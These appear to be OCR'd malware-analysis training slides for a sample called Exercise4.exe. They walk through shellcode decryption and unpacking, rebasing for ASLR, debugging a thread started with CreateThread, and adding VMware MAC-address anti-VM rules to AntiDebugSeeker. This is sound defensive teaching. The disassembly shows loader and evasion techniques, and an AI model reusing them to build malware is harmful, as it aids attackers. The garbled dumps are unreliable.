00406FF8 68 666F4000 push exercise4.406F66
00406FFD | - FFEL jmp ecx

005A0010 .
005A0020 |02 00 00 89 |46 FC E2 F5|8B 45 2C 80|38 88 75 01 ....FUﬁé.E,.ﬁ.u.

Decrypt Shellcode

© 2025 LAC Co., Ltd.

005A0030 |Cc3 E8 1C 07 |00 00 5F
005A0040 |06 83 c7 QA |57 53 FF
00540050 |53 FF 55 08 |89 46 08
00540060 |08 00 00 6A |00 FF 55
005A0070 |8D B5 BO F7 |FF FF B9
005A0080 |07 00 00 5D |5E 87 34
005A0090 |05 00 00 57 |8B 4D 74
005A00A0 |86 04 00 00 |88 46 3C
005A0080 |00 74 08 8B |7D 74 E8
QO5A00CO [6A 04 K7 53 IFF 5 0Oc

89 |Ae..

RR 1. WC;VIJ TH.

p ]A 4$Veb

. yU..
..C. wsyu. (;.w
.F. ]@h .hb
J yu. P
: y‘B onAeE

W Mt 0. uponﬂe
.e....8

.« }IXPT
qu_f_

}tec
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® Extract Shellcode

4
y | |
Library function [l Resular function [l Thstruction Data Unexplored External symbal B Lumina function
[ 7] Functions O 8 x DA Wiew-A B @& Hex Wiew-1 @ Local Types
- Eeceee:eeeeeeae ; Base Address: @@@eh Range: @@@@h - 18@0h Loaded length: 1@@8h
Function name segll : BRREREEER
E sub 101 seghbe: bopaRoRe .686p
- seglen:aeeaeERe « MM
¥l sub 256 52000 : BeRRRERR .model flat
[Fl sub 300 SegBRe : DERABEAE
- seglBd: BeBREERE ; ===sss=======ss=================s===s==ssssss=sssssss=ssssssssssssssssss=s==s
(7] sub 303 SegBB0: PEORRRRD
E Sub_SSO seghba: eeenenas ; Segment type: Pure code
E sub 200 5eg0e0: peReRRae segeBe segment byte public "CODE' use32
- Seglea:aaaaeean assume cCs:seglBee
E SUb_SFA segopo : peeeRoae assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
7 sub 442 v 5eg0B0: 00BREORE mov esi, [esp+4]
seglla: Beeaeaad push ebp
(7] sub 454 SegB60: 00020085 call  loc_752
fl sub 4B1 SepBHa : BOEABAGA pop eax
E sub 506 seg@ie : peseRean push eax
- s5eg0ida: eaaanaac call esi
E SUb_52'a‘ seglla: eeaeRaE mov ebx, eax
Fl sub B8C Sepens: peeeneL1e call  sub_s4D
seglda: eeeaeals pop ebp
E SUb—5BO seg@ae: penenale mow esi, ebp
Fl sub 500 SegBht: 0REARe1S
E =ub BE3 seglla: eeeaesls loc_ 18: r
- segeea:oaoaeels
Fa sub 782 Segeea : GeRRRE1E mov ecx, 11h
Flsub 702 Seges: BeeeBR1D
s5eg0aa:eeeaa881D0 loc_1D: ; CODE XREF: segPof:aoesen26lj
(7] sub 84D > Seg008: 38000810 lodsd
1 seg@e: pepeRaLE call sub_3e8
X seglda: eeeaea2s mov [esi-4], eax
- - segeiaa : penena2e loop loc_1D
seg0ida:ea0an023 mow eax, [ebp+2Ch]
seglla: eeeaea2e cmp byte ptr [eax], 8Bh
r- segePe : peeeea 2E jnz short loc_31
: seglea: aaaaee3e
| seg@de:peseee3e locret_30: ; DATA segbee epaaalinlr
: seghia: bopaease 3 sub_3
| segliaa:aaeaease retn
: T e el
< > . segBBa : BEEBEE31
; 00000000 00000000: seg000:00000000 {(Synchronized with Hex View-1)
T2 Output
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005A0000 887424 04 mov esi,dword ptr ss:[esp-4]
55 ush eb
E8 48070000 call 5A0752
58 popheax .
50 push eax D t P
ecryption Process
8BD8 mov ebx,eax
E8 38080000 call 5A084D
faTalW¥alakli+ En non | - -
Yy
i UUSBUS /8 U PUsh €ax
83E8 0A sub eax,A Q ﬁ
! 35 AC3241AA Xor eax,AA4132AC
: 2BC2 sub eax,edx loc_565:
i; gggssdx cmp esi, [ebp+64h]
83E9 03 sub ecx,3 jnz short loc_577
FEg— ~ E2 DB loop 5B0565
Lemeeeo 61 popad
c3 ret —
66:33F6 xor si,si ® & 7
80:8A 4D3A ey Chhsle add esi, [ebp+6sh]
66 e Ok add edi, [ebp+68h]
e @ sub ecx, [ebp+68h]
test BCX, EBCX
jz short loc_S58A
__ VY
eax=905A4D Q 4 .
— y - - loc_577:
1 s AFE B geF [x=] Locals 47 Struct lodsd
PR ASCIT b
r02120000 CF 5F 13[72 FD 1E B9 [E7 CF 5E 13 |MZ..AI_.ry.'cIA. pus sEx
0220010 8 DO 5E 13 81 E2 1F B9 (37 DO 5E 13 |=4.'.pA..3.'7PA. sub eax, Bah
02120020 | A5 C9 E2 1F B9 |6F DO 5E 13 ¥4.'.DA.EA.'oDA. xor eax, BAAMI32ACH
02120030 |CD D1 E2 1F B9 |27 D1 SE 13 1d.'kDA.N&.''RA. cub eax, edx
02120040 |A3 021200004 5A 90 00703 00 00 0004 00 00 DO FF FF 00 00 M2 oo v oo, T pop edx
02120050 |A2 8102120010 (B8 00 00 00|00 00 00 00 [40 DO QO 00 |00 00 00 00| ........ @....... 4
02120060 |82 00 00 00 00 (00 00 00 00|00 00 Q0 00 (00 00 00 00 |©..vuererresnss stos
02120070 (73 00 00 00 00|00 00 00 00|00 00 00 00 [EO 00 00 00 |............ @..H sub ecx, 3
OE 1F BA OE |00 B4 09 D |21 B8 O1 4C |CD 21 54 68 |..°.. .f! .LTIT
e 122 69 73 20 70|72 6F 67 72 (61 6D 20 63 61 GE 6E GF [is program canno loop  loc_565
0512000 |4 74 20 62 65 (20 72 75 6E|20 69 G6E 20 |44 4F 53 20|t be run in DOS 1
6D 6F 64 65 [2E OD 0D OA |24 00 00 00 |00 00 00 00 |mode....$....... o,
02120080 |AE BO EA 6D OE |F4 8B 03 5D |F4 88 03 5D F4 8B 03 5D |°ém.6..16..16..1] Yy
021200c0 (cD FD F3 87 5D|F5 8B 03 5D |FD F3 80 5D F5 8B 03 5D [y0.]6..]y6.]16..] [ ez B |
g AR R H R s -
F: B D|B A D E D |C B D|O.. A.2]A.. BYE
41 15 DC 5D |F5 88 03 5D |41 15 DD 5D |F5 8B 03 5D |A.074..]A.¥16..] X Refer to
N21200NN IE2 A0 A2 AR [EA 8p N2 En 100 D0 NN 0N (00 OO0 0N 0N [ps~hA 1

3.Execute the shellcode to decrypt the executable.

Exercise4 Answer Questionl Add Explanation
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VirtualProtect

Change the original executable to

EAX 021201c8
push esp EBX 00400000 exercised.00400000
push 4 ECx 00000000
push edi EDX 00000000
P —— EEBP 00580850 <&LoadLibraryA:-
. ESP 0019FF08
call dword ptr ss:[ebp+C] E2T 02120000
=2 EDI 00000400 L'E"
[OD5RO0CE [ 6©A ()7 pus

[aword ptr ss:[ebp+C]=[005B085C ":|f% .i% ;&s fis"]=<kernel32.virtualProtect>

005800c4 FF55 0C ca'l;l1 dword ptr ss:|[[ebp+cC] A Hide FPU
005800C7 54 push esp EAX 00000001
005800C8 6A 02 push 2 EBX 00400000 exercised. 00400000
005B00CA 57 push edi ECX 00000400 L'E'
005800CB 53 push ebx 00000000 .
005B00CC 56 push esi 00550%{5\[‘) <&l oadLibrarya>
OOSBOOCD BCF mov ecx, ed'l EsT 02120000

2 Q. EDI 00400000 exercised . 00400000

F3:A4 re movsb
pop €51 | ezp 00580001
FELA Hex ASCTI FEL2 Hex ASCIT
02120000 (4D 5A 90 00|03 00 00 00[04 00 00 QO |FF FF 00 00 [MZ.......... Vy. 00400000 |[4D 5A 90 00(03 00 00 00({04 00 Q0 OO |FF FF 00 00 (MZ.......... VY.
02120010 (B8 00 00 00|00 00 00 00|40 00 00 QOO0 QO QOO Q0| ,..uuvun @ ...... 00400010 (B8 00 00 00|00 00 00 00|40 00 00 00|00 00 00 OO ....... @.......
02120020 (00 00 00 00|00 00 00 00|00 00 00 OO(00 00 00 OO0 |...oveveverernnn 00400020 |00 00 00 00 (00 00 00 OO|00 00 OO0 OO (00 00 00 00 |...cvvvvevennns
02120030 ({00 00 00 00|00 00 00 00|00 00 00 QO(EQ Q00 Q00 Q0 |..vvvuvunens 00400030 {00 00 00 0000 00 00 OO|00 00O OO OO EQ OO 0D 00 |....vvvuvuns a...
02120040 [0E 1F BA OE |00 B4 09 cD |21 B8 Ol 4C|cD 21 54 68 |..°.. .I! .LI!Th 00400040 |OE 1F BA OE |00 B4 09 cD |21 B8 01 4c|cD 21 54 68|..°.. .I! .LI!Th
02120050 (69 73 20 70|72 6F 67 72|61 6D 20 63 |6l BE GE 6F |is program canno 00400050 |69 73 20 70|72 6F 67 72|61 6D 20 63 |6l 6E BE 6F |is program canno
02120060 (74 20 62 65|20 72 75 6E |20 69 6E 20 (44 4F 53 20|t be run in DOS 00400060 |74 20 62 65|20 72 75 6E|20 69 6E 20 |44 4F 53 20 |t be run 1in DOS
02120070 |6D 6F 64 65 |2E OD OD 0A |24 00 00 00 (00 00 00 00 mode....$....... 00400070 2E OD OD QA (24 00 00 00|00 00 00 00 mode N S
02120080 (B0 EA 6D OE|F4 8B 03 5D |F4 8B 03 5D |F4 8 03 5D F4 88 03 5D |F4 88 03 5D |[F4 8B 03 5D |°ém.o. ]6..]6..]
02120090 [FD F3 87 5D |F5 8B 03 5D |FD F3 80 5D |F5 & 03 5D F5 88 03 5D|FD F3 80 5D |F5 8B 03 5D |y6.16..]y6.]6..]
021200A0 (37 84 SE 5D |F6 8B 03 SD|FD F3 90 5D |[EB & 03 5D F6 88 03 5D |FD F3 90 5D EB 8B 03 5D |7.A]6..]yo6.]é..]
02120080 [F4 88 02 5D B8 8A 03 5D |41 15 E6 5D |C5 & 03 5D B8 8A 03 5D |41 15 E6 5D|c5 8B 03 5D(6..],..]A.2]A..]
021200c0 |41 15 pc 5D [F5 8B 03 5D (41 15 DD 5D |/F5 8B 03 5D nnannnm 41 F5 8R 03 5n (41 15 nn 5n|F5 &R N3 Snla_lila. . 1A VI&. .1
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0058017C 03F7 add gsi,gdi dei 1.ed ~ Hide FPU
0058017E 8978 18 mov dword ptr ds:[eax+18],edi eax+18:" Ris" :
00580181 8970 1c mov dword ptr ds:[eax+1C],esi Eox 33333333 éft?E?ELETSEXSEOOO
00580184 66:F741 16 0020 test word ptr ds:[ aae 6EA30000
ffffff 0058018A | - 75 OC jne 580198 00000000
005B018C 64:A1 18000000 mov eax,dword ptr 88}35523 b
00580192 8840 30 mov eax,dword ptr 00414547 exo iced 00414547
00580195 8978 08 mO}I.f_Id\&rorddptr ds: 00000001
L..q00580198 | FF55 14 €all dword ptr ss h d d
00580198 E8 A2020000 call 5B0442 Jump to t e ecrypte 005B01CF
005B01A0 BF 01000000 m0}|.f_|ed'i,1 . pisTa
005B01A5 E8 5c030000 ca 580506 i
005801aa | E8 10020000 call 5803cc executable. PE 1 AF O
005B01AF 5¢C pop esp TE 0 TIF 1
00580180 5D pop ebp
00580181 EE 97060000 call 58084D tg;rgr gggggggg EE%&?@%EINSS?FESUE%)
005B01B6 58 pop eax SRS LIBUL LU0
gggggﬁé ) g%?gFM 00020000 tjzmg g\é\rgingtr ds: [eax+6 =5 3853 S 8333
005801c0O 880424 mov eax,dword ptr ss: i tE:g 002% gg 0023
005B01C3 C€70424 00000000 mov dword ptr ss: ST GG T e (L TTD
D D c i xXo/r m
8822315: :57424 04 ush dword tr [esp+4]:PEB.InheritedAddressspace 21013 00000000000000000000 X87 11 Emgt§ 0. 0000
sT(2) 00000000000000000000 x87r2 Empty 0.000f
[ ~ FFEB jmp esi sT(3) 00000000000000000000 x87r3 Empty 0.000(
A0 Rukshad ST(4) 00000000000000000000 x87r4 Empty 0.0004
CoSsTIor T far o ol STCo) 00000000000000000000 xB7+6 EmpEy 0- 000
i . i ST Empt
00320107 | 838 30000000 mov oo o BLT 4% eSS ST(7> 00000000000000000000 X877 Empty 0:000
005801DD 85F6 test e5'i, 33c0 X0r eax,eax
ffffffff 005B01DF | - 74 73 je 5B025 004145A9 50 push ea;(
005B01EL 03F3 add esi,e 004145 AA 50 pUSh eax Hress
005B01E3 8B7E 0OC mov edi, 004145 AR 50 push eax readr
_____ _EElEy | R test edi 004145AC | 68 F83c4100 push exercise4.413CF8
es1—exerc1se4 004145A7 ggjﬂgg% gg SE:E g:i
00414583 FF15 <€C514100 call dword ptr ds:[<&CreateThread>]
WUELT T gsuT 2 s T glaT s @ oseF 0 pellocals ) Stuct 00414589 50 push eax
TEL Hex ASCIT 004145BA FFL5 BC514100 call dword ptr ds:[<&CloseHandle>]
004145A7 |33 cO 50 501(50 68 F8 3C |41 00 50 50[FF 15 CC 51 |3APPPho<A. PPy.IQ 004145c0 6A FF push FFFFFFFF
00414587 (41 00 50 FF |15 BC 51 41|00 6A FF FF |15 88 51 41 |A. Py %QA.j¥Y..QA 004145c¢2 FF15 88514100 call dword ptr ds:[<&GetCurrentProcess>]
0041457 (00 50 FF 15 |8C 51 41 0033 €0 €2 10 (00 CC CC CC|.Py..QA.3AA. .11t 004145C8 50 push eax
004145D7 |[CC CC CC CC|CC CC CC CC|CcC 55 53 56 |88 EC 8D 44 IIIIIIIIIUSV i.D 004145¢c9 FF15 8c514100 call dword ptr ds: [<&Wa'itFor'S'ing'|eDbjec1:
004145€7 |24 F8 83 EO [F8 88 EO 8D [4D 10 6A 33 [E8 3D 00 00 [$o.35.31.M.j3e=. 004145¢CF | 33c0 XOr eax.eax
004145F7 |00 55 56 83 |EC 20 8B EC|(83 E4 FO 48 |88 31 8D 51 .UV."! .1.40H. an 004145D1 c2 1000 ret 10 !
00414607 08 88 OA 83 |Ccl 01 81 EL1 FE 00 00 00 |FF 34 CA E2 ....A .ap...y4Ea ANATAERA e St 2
00414617 |[FB 48 8B 0C |24 48 8B 54|24 08 4C 8B (44 24 10 4C|(H..%H. T$ L DS.L O19FFAD| L"GRE "
00414627 |88 4C 24 18 |FF D6 8B E5 |83 €4 20 5E|5D CB FF 1C |_$ yO.a.A A]Ey. D019FFE4| Pointer to SEM Record[1]
00414637 |24 8B FO 33 |CO OF A2 8B |C6 8B E5 5E |58 5D C3 FF |$.33A.C.A. a-'\[]Ay 7731500 nedl1. 7731500
00414647 |30 51 52 41 (50 41 51 55 (48 88 EC 48 |83 EC 38 48 OQRAPAQUH.iH.18H 2090000
00414657 88 50 08 48 |88 48 10 FF D2 48 8B E5|5D 41 59 41 |.P.H.H. yDH a]AYA 7300504 return To nTa11.77300504 From ntell.77300504
00414667 I5R 5A 59 c3/FF 30 8R 48 110 8R 50 DR (51 FFE n? 3 IXZYAUD . H. P OUDA R e ROLSEHIC
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Exercise 4

Target Malware : Exercise4.exe (Unpacked Exercise4.exe)

Question?2.
This program is enabled with ASLR (Address Space Layout Randomization).

As a result, the memory addresses displayed in IDA or Ghidra may differ
from those shown in the debugger.

To facilitate easier debugging, in IDA, use the "Rebase Program" option,
and in Ghidra, adjust the "Base Image Address" so that the memory
addresses in IDA and Ghidra match those in the debugger.
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Exercise4 Answer Question2

® & =
.text:004145A7 _ :
_text:004145A7 When opened in IDA and a debugger, the memory addresses differ,
.text:004145A7 : . e :
text:004145A7 public start making analysis difficult (though some people may not mind).
- . start proc nea i :
mﬂt:mmm S o o Try changing the memory address on the IDA side.
: . push eax
.text:004145AA push eax
.text: 90414588 puf & 1pParameter _
~text:004145AC pufflUUERYVAR| 33CO Xor eax,eax EntryPoint
.text:004145B1 pusf|[UUBETOAY >0 push eax
.text:00414582 pusfl00BB45AA 50 push eax
.text:00414583 calj|OOBB45AB >0 push eax
_text:00414589 pusf|OOBB45AC 68 F83¢BBOO push unpack_exercise4.BB3CF8
_text:0041458A calll00BB45B1 50 push eax
_text:004145C@ pusf|lOUBB45B2 >0 push eax
text-004145C2 calll00BB458B3 FF15 cc51BB00 call dword ptr ds:[<&CreateThread>]
_text:004145c8 pusfl 0VBB45B9 >0 push eax
text 0041459 call O0BB45BA FF15 BC51BB00 call dword ptr ds:[<&CloseHandle>]
ot ooa145cr xorJO0BB45CO | 6A FF push FFFFFFFF
foxt- 00BB45C?2 FF15 88518800 call dword ptr ds:[«&GetCurrentProc
.text:004145D1 rety
fext 00414501 StaOOBE‘.ﬂrSCB 50 push eax _ _ |
foxt 00414501 00BB45C9 FF15 8c518B00 call dword ptr ds:[<&waitForsinglec
- Text: 00BB45CF 33¢0 Xor eax,eax

J00BB45D1 c2 1000 ret 10

NNrrASNnA cr 1nt2
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ﬂ Rebase the whole program et

Flease enter the new
v unpack_exercised.exe - PIC: 4260 - Module: unpack_exercised.exe - Thread: Main Thread 1140 - x32dbg

D71IAF) o) FH8D) Tracing 30420 BRICANN FTFai0) ANTHD Mal

() Address of the first sezment S E =0 Y& 3 Tt &2 fHxH AL B
) Shift delta Boru Loy -k ® Jo-mruh ™ gEyed O g-) 28D
@® Image base T X Party |1&#
00BA0O00O (fi user unpack_exercise4.exe
v [ VYN 000140001, User Utext”
e 00BB5000 00003000, user | ".rdata"
00BB8000 0001000C% User ".data"”
Fix up the prosram 00BCc8000 00002000 User ".reloc"
Febaze the whole ima 0001000 ‘ﬁ' user

8] 4

& Input OxBAOOOO
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B a7

.text:00BBA5SA7
.text:00BBA5SA7
.text:00BBA5SA7
.text:00BB45A7 public start

- _ tart proc near
'.text:BBBBdSﬁ? or eax, eax
ush eax

.text:B0BB4A5A8A pusl
-text:00BBASAB push |
.text:00BBASAC push U oDC =

.text:08BB45B1 push lOOBB45AA
.text:00BB45B2 push |OOBB45AB
.text:00BB45B3 call |[OOBB45AC
.text:08BB45B9 push JOOBB45B1
.text:00BBASBA call JlOOBRR4A5RB?2
.text:00BB45CA push JOOBR4A5RB?3
.text:00BBA5C2 call lO0OBB45RB9
-text:00BBA5C8 push JOOBRB45EBA
-text:00BB45C9 call 0ORR45C0
.text:08BBASCF xor
.text:08BBASD1 retn
.text:00BBASD1 stard
.text:88BBASD1

; lpThreadId
_ ;. dwCreationFlaes

Ensure that the addresses are the same.

33c0

50

50

50

68 F83CBBOO
50

50

FF15 cc51BB00
50

FF15 BC51BB00
6A FF

FF15 8851BB0O0
50

FF15 8c51BB00

X0or eax,eax
push eax

push eax

push eax

push unpack_exercise4.BB3CF8

push eax

push eax

call dword ptr ds:[<&CreateThread>]
push eax

call dword ptr ds:[<&CloseHandle>]
push FFFFFFFF

call dword ptr ds:[«&GetCurrentProc
push eax |
call dword ptr ds:[<&waitForsinglec

33¢0 XOor eax,eax
c2 1000 ret 10
NOrRrRALSNA ale 1nt?2

EntryPoint
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Exercise 4

Target Malware . Exercise4.exe

Question3.

This diagram shows a part of malware that has been unpacked using
IDA/Ghidra. It is creating a thread using CreateThread.

® 5 &

How should I debug the thread that has been created?

public start
start proc near
xor eax, eax

push eax ; 1pThreadId

push eax ; dwCreationFlags
push eax ; lpParameter

push offset sub_413CF8& ; lpStartAddress
push eax 3 dwStackSize

push eax ; lpThreadAttributes
call ds:CreateThread

push eax ; hObject

call ds:CloseHandle

push BFFFFFFFFh ; dwMilliseconds
call ds:GetCurrentProcess

push eax ; hHandle

call ds:WaitForSingleObject

xor eax, eax

retn 18h

start endp
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Exercise4 Answer Question3

CreateThread is a function that creates a new thread. In this case, it sets the
function labeled as sub_BB3CF8 as the starting point for the execution of the
new thread.

.text:00BBASAY

.text:00BBASAY

.text:00BBASAT

.text:00BBA5A7 public start
.text:00BEBASA7 start proc near

.text:00BBA5SA7 xor eax, eax
.text:@8BBA5A%9 push eax ;3 1pThreadId
.text:00BB45AA push eax ; dwCreationFlags

.text:BBBBdSAi::::::::j:v kel

.text:00BB45A] push offset sub BB3CF8 ; lpStaPtAddPESa
.text:00BB45E i ?
.text:00BBASB2 ; 1lpThreadAttributes
.text:@@BBdEE1 call ds:CreateThread ]
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.text:00BBASAT
.text:00BBASA7
.text:00BBASA7

.text:@0BBASA7 public start = 00 = L0

okt 00BBASAT otart proc near Since this is the starting position of the thread,
.text:80BB4A5A7 xor eax, eax 0 c

text.00BBASAY puch  oux . pThreadTd set a breakpoint at this memory address.
.text:00BB45AA push eax ; dwCreationFlags

.text:00BBA5AH push eax ; lpﬁarametEP

.text:@@EEdSﬂa push offset sub_BB3CF8 ; lpStartAddres

.text:80BB4A5B1 R p

.text:00BB45B2 push eax 5 1pThreadAttributes

.text:00BBASB3 call ds:CreateThread

ush ebp

:BBBB3CFE
: mowv ebp, esp

.text:@0BB3CFB and esp, OFFFFFFF8h
.text:@0BB3CFE sub esp, OACh
.text:90BB3D@4 push ebx

.text:00BB3DA5 mov ebx, ds:GetProcessHeap
.text:@0BB3DBE xor eax, eax

.text:00BB3DBD push esi
.text:00BB3DBE push edi

.text:00BB3DOF push 208h 5 dwBytes
.text:@@BB3D14 push 8 ; dwFlags
.text:@0BB3D16 mov [esp+@C@h+var 8], eax
.text:00BB3D1D call ebx ; GetProcessHeap
.text:00BB3D1F mov esi, ds:HeapAlloc
.text:@@BB3D25 push eax ; hHeap
.text:00BB3D26 call esi ; HeapAlloc
.text:00BB3D28 push 208h 5 dwBytes
.text:00BB3D2D mov edi, eax
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5J00BB45A7 33c0 Xor eax,eax EntryPoint
;OOBB4SA9 push eax
hOOBB45AA push eax
_OOBB4SAB ek oo
STATSY=WiRsS: Epush unpack_exercise4.BB3CF8]

push eax
call dword ptr ds:[<&CreateThread>]
push eax

call dword ptr ds:[<&CloseHandlex>]
push FFFFFFFF

call dword ptr ds:[<&GetCurrentProc
push eax |
call dword ptr ds:[<&waitForsinglec

:008845CF 33¢c0 xor ?%x,eax ‘

: 88223%8% E(Z: 1000 (%] ﬁﬂwm‘ﬂﬂmm.“ pe
» 00BB45D5 CC 1NE| [ooegac] | |
- 00BB45D6 cC 1 n U2 unpack exercised DOBB3CFS

4008B45D7 cC int = TS
bOOBB45D8 CC int ’
_00334509 CC int3

400884 5DA cC int3 ‘
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Before executing the thread, press F9.

B cru  rpg LUk ® dL-mkeuh ™ gxgeged O O

Number |ID Entry .TEB lEIP
1 2248 772D60200103c00(7730F7FC¢

1140  |00BB45A70103900C000BB45A7
2 3608  |772D60200103F0007730F7Fq
3 5796  |772D6020010420007730F7Fd

55 push ebp
00BB3CF9 RRF C mov ebp,esp
00BB3CFB L : and esp, FFEFFFFF8

00BB3CF

00BB3D04 . eb
00BB3DOS Set Breakpomts + F9 ptr ds:[<&GetProcessHeap>]|eb
OO0BB3DOE
00BB3DODC

(ol e Ty, oy .

New thread are created
After executing the thread,
press F9.

#8845A/010390007730DC2¢
/72D602C0103F00C7730F7FC
772D602C0104200C07730F7FC
00BB3CFE0104500000BB3CF¢&
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Target Malware : Exercise4.exe (Unpacked Version)

Question4.

Find the MAC address related to VMware from the values written in
hexadecimal, edit the rule file, and make it detectable by AntiDebugSeeker.

- TexTBEallIsuy FIL.ISI"I Bd1 00bk2306 &a 08 PUSH 0x8 DWORD dwFlags for HeapRlleoc
.text:88412381 push & 00bb2308 c7 45 92 MOV dword ptr [EBF + local_6c],0xf01£2£00
Lfext: 88412383 pop eax 00 af 1f £0
Ttdext: 8412304 push aCh H deytes 00bb230f c7 45 9¢ MOV dword ptr [EBF + local_ 68],0x505600
Ltext:88412386 push 8 ; dwFlags 00 56 50 00
text: 08412388 mov [ebptvar_68], BF@1FAFeEh 00Bb2316 c7 :15 a0 ) MOV dword ptr [EBF + local_ 64],0x8002700
-Eext:89412307 mov [ebpivar_64], 585686h 00bb231d 22 ;; :?1 ” MOV dword ptr [EBF + local_60],0xc2900
text:@88412316 mov [ebp+var_se], B@@2788h 00 29 0e 00 - o -
Ltent: 88412310 mov [ebp+var_5C], eczoeeh 00bb2324 c7 45 ad MOV dword ptr [EEE + local_5c],0x56300
text 188412324 mov [ebp+var_58], S69eah 00 69 05 00
Lgext: 88412328 mov [ebp-{-'\.-a-’_S..:l.] N IEFRRhR 00bb232b c7 45 ac MOV dword ptr [EEP + local 58],0x3££00
Ltext: 88412332 mov [ebp+var_5@8], 1C42@86h 00 ££03 00
text:BB412339 mov [ebp+var_ac], 163E@@h 00bb2332 c7 45 b0 MOV dword ptr [EBF + local_54],0xlcd200
-text:88412348 mov [Ehp'H"a’—ZB] + 38122484h 00LLZ333 ?.3 :i 1113 * MOV dwurd pLr [EBF + lucal 50],0x165=00
Ltext: 88412347 mov [ebp+war 1C], 355A6266h 00 3e 16 00 -
Lgext:8841234E mov byte ptr [ebpt+var_ 18], al 00bb2340 c7 45 e0 MOV dword ptr [EBF + local_24],0x38122404
.text:88412351 mov [ebp+var_18+1], 565Eh 04 24 12 38
text: 80412357 mov [ebp+lpP’ccHarre]r 6A517456h 00kbk2347 7 45 e4 MOV dword ptr [EEF + local 20],0x355a6266
.text:B841235E mov [ebptvar C], 32h ; "2 N “ js 2‘3 = o byce por (255 4 locsl 10],at
.text: 08412362 call ds :GEtP’CCESSHEaP 00bb2351 &6 c7 45 MOV word ptr [EBF + lcc:al:lc:+;xl],0x5553
Jtext:88412368 push eax 3 hHeap g 5e 56
text:88412369 call ds :HeapAlloc 00bb2357 c7 45 £0 MOV dword ptr [EBP + local 14],0x6a517456
Ldext:8841236F mov eCH, eax 56 74 51 6a
text:8e412371 xor eax, eax 00bb235e cf 45 £4 32 MOV byte ptr [EEP + local_10],0x32
text: 88412373 mov Edi, BCK 00bb2362 ££ 15 &0 CRLL dword ptr [->KERNEL32.DLL::GetProcessHeap]
text: 88412375 mov [ebp+lpLibFileName], ecx R 2; kb 00 oo . CANDLE hifesp for HeapAlics
-text:80412378 stosd 00bb2369 ££ 15 53 CALL dword ptr [->KERNEL32.DLL::Heapilloc]
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[push 6

pop eax

push ecCh ; dwBytes
push 8 ; dwFlags
mov [ebp+var 68], BF@1FAFEGh
mov [ebp+var 64],] 585608h

mov [ebp+var 60], 8882780

mov [ebp+var 5C],
mov [ebp+var 58], 56900

mov [ebp+var 54], 3FF@eh

mov [ebp+var 5@], 1C4208h

mov [ebp+var 4cC], 163Eesh

mov [ebp+var 28], 38122484h
mov [ebp+var 1C], 355A6266h
mov byte ptr [ebp+var 18], al
mov [ebp+var 18+1], 565Eh

mov [ebp+lpProcname], 6A517456h
mov [ebp+var C], 32h ; "2°
call ds:GetProcessHeap

push eax 3 hHeap
call ds:HeapAlloc

mov ecx, eax

The three hexadecimal values are related to
VMware's MAC address, and are being used
to check if the analysis environment is a
virtual machine.

© 2025 LAC Co.,
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Define the three values in the anti_debug.

[ebp+var_&8], @F@lFAFesh
[ebp+var_&4], 5856@88h

== Ctrl + Shift + E

File contents

=== Open and Edit Config File

GetCommandLil
GetCommandLinel

[Debugger check]
CheckRemoteDebuggerPresent
DebugActiveProcess
DebugBreak
DbgSetDebugFiltersState
DbgUiDebugActiveProcess

IsDebuggerF.‘r‘esent
e [~ N Add three rules to the
e etoebugFilterstate [VMware-MacAddress-Check 1]

ystemDebugControl —_

e 565600 Anti_Debug_ Technique section.
[Pracess Check]

sy e -tachddress-Check 2] Click Save button.

NtQueryInformationProcess
NtSetInformationProcess
Process32First

Process32Next [VMware-MachAddress-Check 3]

Process32Firsth

Process32Nexti 'ﬁﬁgﬂﬂm )

[Process Create] .
CreateProcessA Line:d 19 Column:?

CreateProcessk

[Get Process ID]
00% (-65] |GetCurrentProcessId Sa"."E GEHCEI

Line:1  Column:1

_________ Save GCancel

v.1934 g
idapytheonfigocglegroups. com:
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Edit anti_debug techniques_descriptions.json.

T I:r'lu”l"dfdLE_r'-.Ul"Il”I”'IE_r[UL.E:".:-::-E:: . Mo LTEAdTCSTODTMNE TR ZINEdEP=T00 TUNCTTONT T CSriumzET TS TUTmiTmE HTULE::-::-E'::- FOOLT MTEMND D2 O2STSCTITE 4 SPECTT TT Ad2DUEEC]

i "Nt Set Informat ionThread™ : They may be attempting to hide the debug thread using NtSe ”

7 “ThreadHi deF romDebugge r_0><1 17 ¢+ "The function NtSet Informat ionThread is invoked tg

it "Nt Quervinformat ionProcess™ : “This is an APl § requent |v used to check if debuze

19 “NtOuervInformat ionFrocess_POPort™ @ "By passing the ProcessDebugPort as an arg

§[1) "Ht Sue Iy % r‘i ormat i omE rocess_EBElLags"H : dl?y US| nﬁ P rocgssDebugFgagab (01 L J 3 i th (BH

i "Nt QuervInformat ionProcess,_| jectHandle”™ @ “Using ProcessDebuglbjectHandle (0 1 1 1

h2 Wt QuervSvstemInformat ion KD Check”™ @ "Calling NtQuervSwstemlnformat ion with Svs An Important pOInt to note is that the rUIe names
n3 “bxtract Resource Section” "Uat a in the Hesource section might be loaded by ma

listed in this file must match those in the

i ”Commucate_functiorw_Strmg : "Irdicating potential commumcat i on features, pOsS
b5 “Commucate_function” : Detected by characters related to 7/ and 443 . indicat

§g ﬁn’u gahggox gandBox é & dl:j I.JE'-. |? checkmglwhethe}: tie ama}!ys }_I] 5 ing Derfor
0 t i : 1 1 . . .
o [y, AneRoR PURtel sanchox Aatveet 'S checring whethe be possible to verify the details of the rules.

LOmmMUCATE_TUNCT 10N Strng  ©  Indicat |
Commucate function™ Detected by chara®
”ﬁﬁti-Sandbox_SandBOX|e Tt is checklﬁg whether the analvsis is belng o=

“Wware-Machddress-Check 17

: -dl!n a SandBOX|elsandbox ,e

anti_debug.config. If they do not match, it will not

“This value checks whether it is an analvsis environment based on YMware-specific MAC addregsea:"
:VMware-Macﬂddregs-Check_E: : :This value checks whether it is an analvsis environment based on YMware-specific MAC addFESSES.:
Viware-Machddress-Checl 37 ¢ "This value checks whether it is an analvsis environment based on VMware-specific WAL addresses.

-
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DA Yiew-»5 2| Detected Function List

Category Name

Process Check

Analysis Environment Checlk
Check Ihvalid Close—>Exception
Process Check

Check Ihvalid Close—>Exception
Time Check

Time Check

Time Check

Process Create

Time Check

Process Create

Process Create

Time Check

Process Create

Fegistry Operation

Possible ﬁn:i-E‘eI:ug AP

Process32 FirstW

GetExtCodeProcess

CloseHandle
Process3z NextW
CloseHandle
Slesp

Sleep

Sleep
CreateProcessW
Sleep
CreateProcessW
CreateProcessW
Sleep
CreateProcessW
FesClosekey

f’ finti Debug Detection Results [ [

Address

Ox41 12T
Ox41 1 FIF
Ox411FAD
0411 FB4
Oxd1 1 FST
